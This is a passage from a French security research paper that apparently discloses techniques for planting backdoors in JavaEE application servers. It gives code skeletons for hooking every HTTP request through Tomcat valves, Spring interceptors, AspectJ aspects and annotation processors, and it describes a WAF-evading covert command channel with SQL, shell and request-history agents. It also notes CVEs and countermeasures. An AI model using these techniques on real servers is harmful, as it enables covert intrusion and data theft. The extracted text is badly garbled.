Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

